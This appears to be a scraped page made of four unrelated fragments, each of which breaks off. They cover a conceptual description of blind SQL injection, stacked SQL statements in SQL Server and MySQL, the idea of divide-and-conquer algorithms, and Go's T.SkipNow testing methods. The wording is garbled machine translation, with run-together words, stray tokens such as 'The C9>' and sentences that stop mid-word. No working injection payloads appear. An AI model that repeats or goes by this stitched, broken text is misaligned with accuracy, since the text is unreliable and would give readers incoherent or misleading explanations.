Explanation of Background-2 Blind noteWhat is a blind note? The blinds are the choices the SQL statement performs during SQL injection, and the selected data cannot be echoed back to the front page. At this point, we need to use some method to judge or try, this process is called the blind. From the background-1, we can see that the blinds fall into three categories? based on Boolean SQL

you need to understand where these parameters are located in the SQL statement. Execute multiple statements SQL Server 6.0 introduces a server-side cursor in its schema, allowing strings containing multiple statements to be executed on the same connection handle. All SQL Server versions after 6.0 support this feature and allow the following statements to be executed: SELECT foo from bar; SELECT Foo2 from Bar2; MySQL also introduced this feature in versions 4.1 and later, but it does not suppor

(1) Basic Idea of divide and conquer Law The basic idea of the division and control law is to break down the original problem into several subproblems with smaller sizes but similar structures as the original problem. Recursively solve these subproblems, and then combine the solutions of these subproblems i

the function's execution, and the current Test runner will go to execute the other test function instead. As with the T.failnow method, theT.skipnow method can only be called in the Goroutine that runs the test function.Calling the T.skip method is equivalent to calling the T.Log and T.skipnow methods successively, whereas calling the T.skipf method is equivalent to T.LOGF and The C9>t.skipnow method is called.The result value of the t.skipped method tells whether the current test has been igno
